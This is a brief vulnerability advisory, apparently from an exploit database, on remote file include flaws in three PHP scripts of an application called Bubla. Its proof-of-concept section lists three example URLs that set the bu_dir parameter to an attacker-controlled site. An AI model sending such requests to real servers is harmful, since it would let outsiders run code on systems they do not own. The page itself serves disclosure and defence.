• info
• discussion
• exploit
• solution
• references

Bubla Multiple Remote File Include Vulnerabilities

An attacker may exploit these issues using a web client.

The following proof-of-concept script is available:

http://example.com/[PATH]/bu/bu_claro.php?bu_dir=attacker site
http://example.com/[PATH]/bu/bu_cache.php?bu_dir=attacker site
http://exmaple.com/[PATH]/bu/bu_parse.php?bu_dir=attacker site